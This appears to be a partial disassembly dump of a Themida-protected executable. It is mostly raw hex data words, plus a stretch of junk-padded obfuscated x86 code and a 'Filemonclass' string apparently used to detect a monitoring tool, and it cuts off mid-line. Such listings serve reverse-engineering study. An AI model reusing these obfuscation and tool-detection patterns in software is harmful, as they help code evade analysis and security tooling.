0ACECD37Ch dd 5D33D43Fh, 0FA66E8E2h, 5020A1D0h, 58000006h, 52F98E27h dd 4BF28726h, 46ED821Dh, 42E97E17h, 46E1760Fh, 0A540732Eh dd 0A13C6910h, 0A033650Ch, 0A134640Bh, 0E3D13F0Ch, 43964D72h dd 2CD4A6BDh, 2CD368F9h, 62D469FCh, 0C269FC2Ch, 60A40B3Bh dd 0ECC8F02Eh, 1A7CEAB0h, 94976AB1h, 3BBD5EF3h, 0F7000000h dd 0A08A1B4Eh, 0A1FC2CD4h, 14495401h, 1D4276B2h, 0E6E52A26h dd 76FDA445h, 5BCCBA46h, 9F49A393h, 932CD372h, 197380Bh dd 0A28C2558h, 0E432C589h, 0D66B0A3Ah, 1235h, 0FC2CAB00h dd 88F6C269h, 0E249A3F2h, 81B19FA9h, 2CDF51E6h, 2AD369FCh dd 0B7C6AFEh, 5649A3F2h, 2553E283h, 0DE87A08Ah, 0DAC85E56h dd 4798891Ah, 0AF58EEC1h, 0AC53E87Fh, 9942E97Ch, 95831911h dd 418AEF80h, 9B2481Bh, 2A93ED9h, 0F49D33D2h, 0F18A31C4h dd 0DD60EE07h, 59CDC40Dh, 0B4D7C16Fh, 0EE9E342Ch, 957F1245h dd 8760A14Fh, 0C0AE5E3Bh, 3781604Fh, 0E3DDC79Ah, 0DB3F3A10h dd 94C3EE4Dh, 53E13h, 80154600h, 7D1844EBh, 781341E8h dd 740D3CE3h, 6C0538DFh, 69243CD7h, 5F069B36h, 57FE9332h dd 56FD9225h, 2DFA8F26h, 4C60D1BFh, 94AB4396h, 69FC2CC2h dd 6AFD2DD4h, 790C3CC3h, 6B0A3AE3h, 0FEB76881h, 47CFF30h dd 4430848Ah, 0CDFDFEE8h, 2FA6A53Ah, 0AD19AF79h, 6Dh, 95820A11h dd 9DFCB912h, 0BC901786h, 49A3854Bh, 8C22C396h, 0CD3E2CDCh dd 1149A385h, 26C149E4h, 63E520Ah, 0C7B15253h, 0A28EAD81h dd 0D103C447h, 67F68F36h, 5EF79E39h, 4C7E27BDh, 0CD3824B9h dd 6439BFEh, 0FDF76856h, 7A42439Bh, 9BFE1B8Ch, 0F2936643h dd 40D70708h, 51D204ABh, 49E28924h, 0CA7301A8h, 1813FD98h dd 477h, 4E7C258Eh, 89730CB3h, 9CCF5888h, 0A54CEB1Bh, 2BC46B0Ch dd 1B4BF48Ah, 204ED57Ch, 0E1FAE485h, 0F68B2A5Ah, 17ADA52Dh dd 0C0AA3B6Eh, 820CAB8h, 8DB47A3h, 0FB2AD361h, 0C5327862h dd 9439CD7h, 129940DBh, 31280E5h, 8878C87Ah, 0C89940E7h dd 6ADBC97Eh, 0B5439CF0h, 0B89B41E2h, 0BE6D686Eh, 0B25B1FB5h dd 5F9E382h, 3Dh, 9C820A69h, 0A137D869h, 0A30131B3h, 0F3895C47h dd 33B6174Ah, 97F49398h, 869F892Ah, 881F4FF8h, 185E48E1h dd 439CE1ABh, 0A52BF5D8h, 1FB5D130h, 26C1ED96h, 8FCE67Fh dd 0DBh, 69FC2C6Ch, 6D083BC2h, 780F3FC6h, 7B1A4AD1h, 5F8F38E6h dd 9E8821C8h, 0A3EEA258h, 7A063649h, 0A3EE1B8Ch, 94335F49h dd 0F9CC54EDh, 0EC1CC358h, 0FD9E396Bh, 2A18C856h, 49A3EEB9h dd 0DD917923h, 3EC6FE5Ch, 0D65E816Bh, 709F48DEh, 0F5E3EBD5h dd 47A25D07h, 2B9C8A52h, 76439C4Dh, 0E96C02A3h, 6A931F33h dd 0E3EAD4B6h, 49A921Ah, 94C58616h, 64FACD41h, 3ED88BBh dd 861F52FBh, 7E174AF1h, 7E7483A8h, 870837F0h, 343h, 0E67B1A4Bh dd 0DF74133Fh, 0DA6F0A38h, 0D4690433h, 0D267FA2Dh, 31641F37h dd 37640BA0h, 3062099Eh, 29590095h, 0BE2CF98Eh, 964A5FD0h dd 0C193AA43h, 0D368F92Ch, 16877525h, 6149A3F2h, 73A3A48Eh dd 62953ED4h, 8F28CFh, 0F48D34CDh, 0A91030Ah, 6F48A82h dd 47A30184h, 689A14AFh, 704DF8BAh, 329525B5h, 9A3BDC7Dh dd 2ABA27F3h, 4E7439Ch, 8821B43Ah, 0EBBB1FB6h, 0E3000000h dd 2ED44533h, 4C1F439Ch, 0FC2C9662h, 83BC269h, 44FAC66Dh dd 0D849A3EFh, 0D1780DA8h, 0D15F06A1h, 7A68F828h, 49A3EE09h dd 0F6E08154h, 0BD534BD3h, 0A2CEE1CFh, 0C4592C47h, 0E57B73FBh dd 952452F7h, 0D87CFF41h, 2B72B860h, 0AD1E0CA2h, 0F83D934Dh dd 6E413B25h, 69FC2FD8h, 0BBA326D4h, 66BF9BA0h, 5184856Fh dd 8953EAC0h, 305FF07Fh, 256AFh, 982D5E00h, 95305C03h dd 902B5900h, 8C2554FBh, 841D50F7h, 813C54EFh, 771EB34Eh dd 6F16AB4Ah, 6E15AA3Dh, 4512A73Eh, 4978E9D7h, 0ACC34396h dd 497C25DAh, 60019CCAh, 9C8A20B9h, 49A3F22Bh, 0B8B9A376h dd 9809F785h, 0E349A3F2h, 0B859F422h, 0A5D88117h, 0E9D7650Ch dd 49A3F278h, 0B94FF0C3h, 0A3F25ACBh, 0E8D2A549h, 0CAB033E1h dd 7BDB32BFh, 0E8181903h, 0F8992C5Fh, 0FC2CF163h, 8B34C269h dd 8C22F85Fh, 0C4198C8Ah, 0F9E37C23h, 982DC8F8h, 9026C1F1h dd 0BDCD830Dh, 0B750F78Ah, 4895E04Eh, 7ADBD4DFh, 0B49E7D72h dd 726AF29Bh, 660133DCh, 1BC4747Ch, 1C624CEBh, 47A1E8BEh dd 46F16E9h, 93C36DBBh, 0D841D406h, 7AC6A226h, 0A035D61Bh dd 7F1A49F2h, 82B03FD8h, 0BDA740E7h, 2C129Ah, 402EC465h dd 419A779Ah, 54DB8255h, 63EA9124h, 6AF19837h, 52F9A03Dh dd 5C89B781h, 0E0811AC1h, 67B78114h, 0A151E7DFh, 4630C9F8h dd 934D5A00h, 2C5E073Bh, 3BDA0A99h, 1711FB94h, 0D808AF44h dd 0B024A73Dh, 57CDA04Fh, 0CB526B55h, 0EC57FE99h, 0F4A495A3h dd 0A97D184Bh, 378D6938h, 0C5C6B083h, 0C36C0295h, 0A2130191h dd 0ED378D69h, 39D2791Ah, 179A484Fh, 2C6B80FBh, 557862E7h dd 0E3910DCDh, 6B49C3F1h, 0E84634CAh, 5358C91h, 79A7305Ch dd 0FD9E37DEh, 0D9D3BD56h, 95C77006h, 78FF1802h, 6717AD48h dd 86910879h, 66925331h, 0A29026C7h, 31869131h, 0A6BFA97Ch dd 0D824F23Bh, 2AD49050h, 0B0628874h, 0DBC9790Fh, 3186576Ah dd 43EA7BAEh, 356122AAh, 70FF99Ah, 8531BB19h, 7D13E62Fh dd 0BB1FCBFAh, 0F6E046AEh, 0ABE41EFh, 9D878EE4h, 1AA2C5AFh dd 59DC8C22h, 0D7C58778h, 2B7EFA66h, 9475DEB1h, 8ED4BEA2h dd 2973ADD6h, 81049A6Dh, 68CA3FC0h, 0B81CE030h, 26491B84h dd 34C2DBC5h, 1FFBB7B1h, 7C51620Dh, 0DE3DA62Ch, 0AF2E4056h dd 0A1BD75AEh, 0E5151600h, 0E616BD52h, 0BCDCA84Fh, 1F5CD8D1h dd 6494828Ch, 65953CD1h, 75A42BD2h, 0A2C346DCh, 6121241Bh dd 8BF60FF9h, 1A4AF442h, 0F3FE67Bh, 0C50D178h, 0C6000000h dd 34BD405Eh, 0AFA296DFh, 2CD8A48Eh, 3CC36AFBh, 4BD2790Ch dd 50D77E19h, 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h dd 830AB14Ch, 6711B857h, 1FDD68h, 24048900h, 405E089h dd 83000000h, 48704E8h, 89525C24h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 2414895Ch, 225568h, 24048900h, 0D9A9E68h dd 24148B06h, 8304C483h, 248904ECh, 24048124h, 4, 8B95158h dd 1000000h, 0BB53C1h, 1000000h, 5B1389CBh, 24048B59h dd 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h, 89522414h dd 4C281E2h, 83000000h, 148704C2h, 0ACE95C24h, 0EFFFF9D0h dd 0B28A1FC4h, 7E78CE0Fh, 0CF8663F2h, 0DAC49B8h, 0FFC50306h dd 0D1B682E0h, 41601F11h, 8BCEF874h, 0F0CAEB17h, 0B443593Fh dd 1159FD34h, 0CF13037Eh, 31741660h, 82C8737Fh, 98BE0C20h dd 41568B27h, 2501FB63h, 0C6E2405h, 35C0E507h, 0AD8E4657h dd 9B89C270h, 2B92AD44h, 589FBF3Ah, 0AC293F24h, 0DF55C31Bh dd 51C4660Dh, 5A379C41h, 7D39B479h, 3A588D09h, 9964A428h dd 0D413B61Fh, 0C943D86Fh, 913CFD51h, 6DDCCC44h, 8ABBA62Dh dd 11E81Ch, 0C4390000h, 236A52B1h, 6EDA5061h dd 0DC299A3Ah, 0F9201A8h, 683h, 73D98100h, 5A7F9F01h, 0C281C68Bh dd 6B12h, 0FF33F38Bh, 34FFCDB0h, 1880F17h, 0FC000000h dd 4810F5Bh, 56000000h, 815E6160h, 9395F7F3h, 0CE80Dh dd 96510000h, 0C85B2117h, 7AA52882h, 0F580D8C6h, 0EB81585Ch dd 6BCE70CEh, 0FE9h, 0D172200h, 71F845C4h, 771DA55h, 0CF3457DBh dd 9370C381h, 0CE812488h, 23D59D30h, 3850F53h, 60000000h dd 48F61F8h, 8158533Ah, 66241DEFh, 19C7813Ch, 813C6624h dd 0FF95A4FFh, 83850FFFh, 50FFFFFFh, 0AE9h, 85E1BC00h dd 2CF424DCh, 5918B909h, 0AEEE8D8Dh, 0F080060Dh, 8DD3816Bh dd 8929AE9Bh, 71AD98Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E9D688C0h, 0Ch, 0FE752945h dd 961F40BBh, 0FFFBD4C5h, 1E41B589h, 8B660607h, 1D85C7D6h dd 0FC060710h, 6A000062h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0C1EEC355h, 0DB58B57h dd 5806070Eh, 330585C7h, 607h, 8D0F0000h, 4, 837ABE66h dd 469B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0FFE832C3h, 43D59978h, 5995FF47h dd 66060718h, 6AF88Bh, 0D6995FFh, 0C08B0607h, 74CE48EBh dd 4E0BD00Fh, 12B68E4Dh, 0CF60E681h, 60BAD6D2h, 95032A53h dd 0F63DD78Ch, 3CDB9E6Eh, 7BD98F3Ch, 0A1D7905Ch, 82008065h dd 4D9AA630h, 0F37AE022h, 0DD3B2E6h, 723A1628h, 9DCABB38h dd 0DBA38E90h, 3250583h, 5E8C2BEh, 74000000h, 51086A49h dd 23119589h, 0E95B0607h, 7, 0E29EB7B2h, 81583849h, 683EC3h dd 68C68B00h, 0 dd 8589F960h, 6073261h, 8B665E61h, 1E34FFCFh, 5D958960h dd 0E9060718h, 0Dh, 0E9A78D09h, 924586C9h, 0ED3E55BDh dd 0E95A617Bh, 0Fh, 8CC636CBh, 18EAC0DEh, 0C76BE4B7h, 81C53638h dd 311948F2h, 59850108h, 8106070Ah, 60E7F6C2h, 66605276h dd 8D89F28Bh, 6070C71h, 0C2815F61h, 2C6AD883h, 52C38B66h dd 0EEDBD8Bh, 48F0607h, 75BD0333h, 0F9060706h, 6604EE83h dd 0FE81FA8Bh, 0FFFF9870h, 0FF83850Fh, 0BF0FFFFFh, 8EBCFh dd 2E000000h, 0E95CCF0Ch, 532h, 0DB10968h, 0CD79E906h dd 8268FFF9h, 0E9060DB1h, 0FFF9CD6Fh, 0DB32B68h, 0CD65E906h dd 0DC0DFFF9h, 0E10DB449h, 0DC0AB146h, 0D605AC41h, 0CCFFA63Bh dd 0F109A439h, 0DD720336h, 0D76C0936h, 0CE63FE30h, 0CB60F727h dd 31A290FEh, 7C439642h, 0F92C9365h, 0A3AC168h, 850DD66Bh dd 0D309F78Dh, 6047A2F7h, 0C8299DDh, 9BF8AD1Eh, 0BC25F843h dd 1D0B73D8h, 439CE9ACh, 998324F7h, 5925CC9Fh, 439CE8ECh dd 0BD64FD30h, 0C46B0A36h, 0F0F1954h, 0FD30D969h, 0BA6D564h dd 86E1CB64h, 0CA0487B8h, 0D842CA14h, 8A4BA48Eh, 501FB609h dd 344h, 7EC03EB4h, 7A68FEF6h, 47A2F8D0h, 0FA2D47Dh, 0D1582B25h dd 7A028FC5h, 937901B8h, 861FC661h, 87614FE5h, 0A244367Bh dd 0F77F28CFh, 2F7B69FFh, 0E83E2F72h, 8B75103Fh, 7F28BE91h dd 7523B84Fh, 5F069FCCh, 0ABDBDCC6h, 0FFB68F44h, 0E38489DAh dd 15A5ED0Dh, 65E615F3h, 34Bh, 0BE53F223h, 0B74CEB17h dd 0B247E210h, 0AC41DC0Bh, 0AA3FD205h, 93CF70Fh, 0F3CE378h dd 83AE176h, 131D86Dh, 9604D166h, 964137A8h, 996B8243h dd 0B94C7C25h, 0B75EF72Ah, 8911341Eh, 47D671A3h, 3DD67D18h dd 0AD56069Ch, 0B8FEE87Bh, 479852F7h, 8939CFA2h, 427AEBD9h dd 0F2C54396h, 41D40708h, 3FD205ACh, 0F314CC98h, 74A4B9FCh dd 0EEE50BE1h, 0EE1DFA62h, 2D26Dh, 0DC79AA00h, 0D974A047h dd 0D46F9D44h, 0D069983Fh, 0D061943Bh, 0CD88A03Bh, 0CB72079Ah dd 0C36AFF9Eh, 0BA61F691h, 8956EB8Ah, 41BC2D1Bh, 0F0074396h dd 8A820A1Eh, 0E55644F4h, 2249A3F1h, 0A3F1C334h, 0B33B0E49h dd 3EEEF6E0h, 6F68F7BBh, 0E4D2039Fh, 49A37673h, 604AEBBEh dd 97D7591Ah, 8A310447h, 95C651BEh, 0CF629543h, 0D671A128h dd 0AD7BC42Fh, 5EE8CB71h, 0BCE83D98h, 1F29F1Fh, 17C70000h dd 0A98EC994h, 0BDF6E2Fh, 43950B9Ah, 5C2812E5h, 0D369FC2Ch dd 745EF72Ah, 0F724CD5Bh, 8A94470h, 0DDDEC861h, 0D7851AADh dd 806AFB2Eh, 47DDD55Dh, 0A307AF59h, 0F0976A47h, 9CD7B724h dd 3701E443h, 3A067F02h, 0CD688588h, 994B8AE3h, 43911FB6h dd 0B9000000h, 0B544DD10h, 0B24BF285h, 820AFCC8h, 0F0DE6E9Ch dd 49A3F27Fh, 0AF56F7CAh, 2CFEAD16h, 684E3860h, 0C14331C7h dd 0EC47A27Ah, 39A67219h, 66439C5Ah, 0DB84B583h, 0CB240EA9h dd 1FB6580Ah, 0D3D0h, 0FC2C3400h, 0E43162A1h, 0DE7F8917h dd 0BF9A937h, 49A3009Ah, 8E7C12E5h, 49A3001Dh, 0AAAB9568h dd 0B037DE77h, 2CCBF780h, 2D5DE48Bh, 8219059Ah, 1249A2FCh dd 0A02955E2h, 9239DA73h, 0FAC358F9h, 34E47A72h, 10AFDB84h dd 0A2FBCB3Ch, 0A91A0849h, 0F449A2FBh, 30C69921h, 0A2FBD142h dd 5F491C49h, 9B608F19h, 0DD09CA47h, 75DF117Ah, 2CCD4CA5h dd 3ACBFE85h, 0B962F899h, 0A856EB86h, 0D3D85925h, 629C05A0h dd 0DFE0CA94h, 0AB4319ACh, 57FA6553h, 129A728h, 0D0010000h dd 0CDF9A035h, 0C8F69D32h, 0C2F1982Dh, 0B8EB9227h, 0D5ED881Dh dd 0B94EE71Ah, 0B348E512h, 0B247DA0Ch, 0A73CDB0Bh, 0D7E6CDAh dd 5843963Fh, 0F92C6F41h, 0FC2CD368h, 0BB24D7Bh, 0CA3CD172h dd 0C269FC2Ch, 0D76C0B3Bh, 0F88E860Eh, 0F1E95A48h, 613449A3h dd 5C03A2D2h, 21D1D9C3h, 3337139Eh, 91C0BD80h, 17B851F8h dd 0D5BF5A88h, 0A300BB8Fh, 2614C447h, 439C70B5h, 0A9972D00h dd 439C7038h, 0CCC6B083h, 87BA63F9h, 709A0BF9h, 12E5439Ch dd 32DB71h, 3B25BE65h, 0AEDD8634h, 0B45BF625h, 4A907A1Bh dd 439C70DDh, 0B861F121h, 0AA1BEF8Ah, 0F5439C70h, 0C391235Ah dd 0B15236FCh, 0A1D47B10h, 64E86910h, 5E000000h, 0F48A820Ah dd 98535106h, 8319EC47h, 2610ADDAh, 0BF56860Dh, 0B453832Ah dd 0B9F2410Dh, 0E2751CD7h, 1BBAEA54h, 19ACDC85h, 5543D972h dd 0E8D389E4h, 6B725C2Fh, 5A0194C4h, 0EB1BA4D3h, 9904AB4Ch dd 2BCAFAA3h, 0A601EB84h, 0E77EAE98h, 0DC7BAB52h, 0DB435h dd 252A0000h, 0F2168775h, 8E6149A3h, 2CF3D5A4h, 3CC36AFBh dd 4BD2790Ch, 50D77E19h, 5CE38A23h, 6AF19829h, 70F79E37h dd 7A01A841h, 830AB14Ch, 6711B857h, 53E08950h, 12757BBBh dd 35E38174h, 8111F009h, 100135F3h, 5BD80110h, 8704E883h db 4, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 0DE7h mov [esp], ecx push ebx push edx mov edx, 313466F6h xor edx, 760E7876h shr edx, 6 shr edx, 6 xor edx, 5FE93534h mov ebx, edx pop edx dec ebx and ebx, 29B54EEBh add ebx, 0FC68699Fh mov eax, ebx pop ebx push 75E1h mov [esp], esp add dword ptr [esp], 4 pop ecx push ebp mov ebp, eax push ebp pop dword ptr [ecx+8] pop ebp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_544543 ; --------------------------------------------------------------------------- db 22h dd 3702FFF2h, 268AFB21h, 9460A5AEh, 79B837BDh, 3060DB4h dd 19E0FFC5h, 0D574775Eh, 0C3092B31h, 0E854A15Bh, 6, 694A05C6h dd 5AF91C04h, 0E9C281F5h, 0E9000064h, 14h, 0EF0F59FDh dd 24EB35DFh, 12C07615h, 5F16F73Bh, 0FCCF484h, 3BF3A3BFh dd 68C78122h, 0FDDC425h, 383h, 2FE88000h, 0B86632FFh, 0B95BD073h dd 969C20Fh, 0E410EB81h, 0B8661140h, 0C38148B3h, 65F5422Bh dd 138E0Fh, 0E9600000h, 0Ch, 6367BFA5h, 0E0D9125h, 62020000h dd 3AF38161h, 894043E0h, 0C1EA811Ah, 532E98CBh, 18A0Fh dd 58F90000h, 0CBBDC281h, 30B92E98h, 833EA245h, 850F01EFh dd 15h, 0E932E480h, 1Dh, 42447E72h, 0A2DBD4E5h, 4BF8C7Dh dd 0F9F8B89Ah, 81E96536h, 3AFFFFFFh, 992CA453h, 0FE811h dd 0FF940000h, 7C204E74h, 37F8DB9Ah, 1B372F7h, 0CE85B6Bh dd 0D4000000h, 0BCEDF91Dh, 5FA95B9h, 0F444836h, 1985h dd 14E900h, 0A0E70000h, 40C3C1E1h, 0C1EF91D7h, 8274A3C1h dd 30BE011Ch, 81589942h, 63A2C3h, 0AADE8000h, 480247B9h dd 7AC18171h, 8B8EB816h, 8033FFF7h, 805FB0DEh, 0C78146C4h dd 8DD23E0h, 0F735D281h, 0EF811488h, 6DB34F96h, 28C0Fh dd 0F48A0000h, 0AB90C781h, 8B56329Bh, 3B8958F0h, 0EB83B2B4h dd 4B4BFC02h, 83F0B70Fh, 850F01E9h, 0FFFFFFBDh, 28C0Fh dd 0D48A0000h, 0BD83C08Bh, 6071ACDh, 83097500h, 71135BDh dd 19740006h, 0C08B5350h, 421B8h, 7D858900h, 8D06071Fh dd 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 421B8h dd 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 8BC08B58h dd 723199Dh, 0CD85C606h, 56060709h, 0A8B85268h, 99B5FF9Ch dd 8D06070Dh, 0A703885h, 6AD0FF06h, 10006804h, 0B5FF0000h dd 6072D39h, 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 0E48D8D00h dd 0FF06076Fh, 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h dd 0BD83D303h, 6070C89h, 0E840F00h, 8B000000h, 70C899Dh dd 5D858B06h, 89060722h, 8D525103h, 778ED85h, 8BD0FF06h dd 8BF18BFAh, 0F3C88BD1h, 0CD85C6A4h, 56060709h, 1F6D3968h dd 99B5FFD4h, 8D06070Dh, 0A703885h, 68D0FF06h, 8000h, 0FF52006Ah dd 83C08BD0h, 71ACDBDh, 9750006h, 1135BD83h, 74000607h dd 8B535019h, 421B8C0h, 85890000h, 6072F81h, 0AE279D8Dh dd 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h, 421B853h dd 85890000h, 6072F81h, 0AAC89D8Dh, 0D3FF0609h, 0C08B585Bh dd 0C899D8Dh, 38B0607h, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h dd 4B41h, 9E8h, 0A41DE100h, 0CB47D2C6h, 815A00DDh, 74C6C2h dd 1870F00h, 0FC000000h, 92BEFF33h, 8B6DAF75h, 0B70F3A04h dd 0C7C081F2h, 5659EE77h, 0AF0815Eh, 0FC1AA124h, 2C3BE881h dd 0B9664F08h, 60509F96h, 0DE8B66F8h, 3A048F61h, 8153F88Ah dd 0AAEAF3E6h, 0EF835E0Ch, 0AABB6601h, 4F4F4F40h, 8138E980h dd 0FF8BCCFFh, 14850FFFh, 0E9000000h, 27h, 438285E7h, 0CA0D95CAh dd 7629243Fh, 0F5C2C5ECh, 0FFFF9AE9h, 0DE9B58FFh, 5E847995h dd 31F0B0FAh, 8866E7F5h, 0E850588Ch, 0Dh, 4149BD9Eh, 5BDB5BCAh dd 26BE1EAh, 1870F6Bh, 0FC000000h, 0CEB70F5Bh, 7236C381h dd 0F6330000h, 0F1F18166h, 33048B6Dh, 850Fh, 0C0810000h dd 7C98ADBEh, 0FEB70F60h, 0EE860h, 490C0000h, 9DC34CB2h dd 36918C6Fh, 8D0703FCh, 0D18B665Ah, 0F0816161h, 52EF44F7h dd 2880Fh, 0EA8A0000h, 1DA3F081h, 0E1810795h, 625D7A1Ch dd 9E950h, 0A6010000h, 4C2C0919h, 8F582CB5h, 0BF0F3304h dd 0C9F280CBh, 0E804EE83h, 14h, 0FD90E28Fh, 3F2D7474h dd 7E67D461h, 0A84729E7h, 6093AFC2h, 5AB3E980h, 8EB4FE81h dd 850FFFFFh, 22h, 8E8h, 586EA800h, 5CA94B52h, 5FE88A7Eh dd 29E9h, 0F98B7A00h, 7DCDF413h, 677612DDh, 0D4B94660h dd 0E91F544Dh, 0FFFFFF49h, 0ADBCE135h, 5F0422C9h, 22FECA22h dd 0DC3631B3h, 2AE99ECFh, 0C7000000h, 2404h, 0E80000h dd 5D000000h, 0B9B8ED81h, 448B060Dh, 85890424h, 607190Dh dd 0B8h, 9B8D8D00h, 0FF06074Bh, 6754B8E1h, 9D8D0000h, 60720F5h dd 1434B8h, 0B9858900h, 0E8060729h, 0 dd 0D0558h, 3890000h, 1434E9h db 0 byte_5A81BD db 3 dup(0) ; DATA XREF: Themida_:0053E8B4o dd 50Ah dup(0) db 0 byte_5A95E9 db 3 dup(0) ; DATA XREF: Themida_:0053D970o dd 0 db 0, 0EBh, 16h aFilemonclass db 'Filemonclass',0 ; DATA XREF: Themida_:0053C7FCo dd 0 dd 1000000h, 38401h, 0E9060D00h, 7, 0DD1CA97h, 8B49CECEh dd 0F88B50D7h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 25DEC351h, 0DA52C1EEh dd 0C88BD7E8h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8A0FE6C3h, 4, 0A9A3BB66h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0B89965C3h, 0CFC1858Dh, 6A060Dh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF6621C3h dd 66900AC8h, 502E5ABFh, 6A907BB5h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 773EC353h dd 890FAED2h, 5, 12CF8166h, 8B006AA2h, 71F31BDh, 8B006A06h dd 58C0FFBh, 0B9000000h, 39F8939Ah, 1E3D95FFh, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0BF1954C3h, 0AAE680CBh, 645E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 4B1FCB39h dd 11E8h, 0B7E23400h, 0C661414Eh, 99221C35h, 3233E3FFh dd 11E87630h, 57000000h, 849AF7EFh, 0BC8188C1h, 3176A44Dh dd 23151B83h, 2B1D9D8Bh, 5A5F0607h, 0E8h, 0ED815D00h, 60DCFC6h dd 443CBA66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0F2C35747h, 0F9B59AFEh, 631AD668h, 5AE1B909h, 34811A6Ah dd 63157624h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 3E83BED2h, 9D339473h, 6071029h, 0D6995FFh dd 0CB810607h, 53A21C6Ch, 0CE34B58Dh, 0FB8B060Dh, 6C7D08Bh dd 6D676552h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 78C35343h, 0BD89065Eh, 6070A41h, 0FC19D89h, 46C70607h dd 636E6F04h, 51006A6Ch, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0DA82D2E3h, 69F3D338h, 6E953h, 0DAD10000h dd 34C1F835h, 68F0Fh, 85890000h, 6070911h, 610846C7h, 6A007373h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 8252C355h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0A6531CC3h, 820FD40Bh dd 6, 563EEA81h, 858D2D71h, 60DCE34h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 43C35747h, 90E0F735h, 0EEA4BA66h dd 51515650h, 905A595Bh, 3D9589h, 95FF0607h, 60700C1h dd 66CA8B66h, 0C00BC88Bh, 50840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66C769C3h dd 2B18DA81h, 3E7E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 95CDFCE8h, 0BA7DD836h dd 930CEB81h, 0C4684671h, 50531C3Fh, 50525052h, 5A310F52h dd 2 dup(5A310F58h), 24348158h, 531C3EE8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 10C35747h, 0C8BFEF98h dd 10DD89Ch, 70AC18Dh, 6995FF06h, 6A06070Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 4CF4C351h, 34B58DFDh, 6A060DCEh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 9325C353h dd 83B7CDB6h, 46A57C41h, 88D0Fh, 29530000h, 70ED595h, 0BB665A06h dd 6C74A86h, 36343831h, 1ED28166h, 446C738h, 31342D37h dd 998D8B60h, 6106072Ch, 846C7h, 60000000h, 266D9D8Bh dd 6A610607h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 75958BF5h, 0E8060713h, 0Eh, 0AF06117Eh dd 0F3CC9857h, 0D50490h, 8166ECC1h, 5B05C7C1h, 34858DF5h dd 89060DCEh, 709058Dh, 0E9605006h, 10h, 25CD8C6Bh, 0F9E4BDDBh dd 0BC9CEE46h, 5662A25Eh, 0B85F5060h, 6745B12Ch, 4896161h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 4160984Bh, 0B98BBA03h, 8D89627Ah, 607293Dh dd 0BD8BF88Bh, 60719A5h, 0C195FFh, 0BD890607h, 6072335h dd 830Fh, 0C00B0000h, 2C840Fh, 8B660000h, 22AE9D3h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0E60869C3h, 63B10449h, 4B68D88Bh, 0F4CF963h, 48Ah, 5B535200h dd 24348159h, 4CF96267h, 0FF91C680h, 70D6995h, 0CBE18006h dd 2A219D8Bh, 0B58D0607h, 60DCE34h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0BCC35242h, 11335805h, 0EC4540E1h dd 7D9D8982h, 52060720h, 5ACEB70Fh, 694606C7h, 6A656Ch dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8B4AE1C3h, 727F1BDh, 446C706h, 636E6F6Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 74C35141h, 2B540FB8h dd 0F850D0AEh, 6850Fh, 0BD8B0000h, 60700D5h, 6C0846C7h dd 6A737361h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 23B1C351h, 15B4C4F6h, 11291986h dd 0C46C7h, 8B000000h, 6A006ACAh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 6014C357h dd 4136CC6Dh, 91C3A0B9h, 7E9h, 0D5F97500h, 1A83FA23h, 1D95958Bh dd 858D0607h, 60DCE34h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 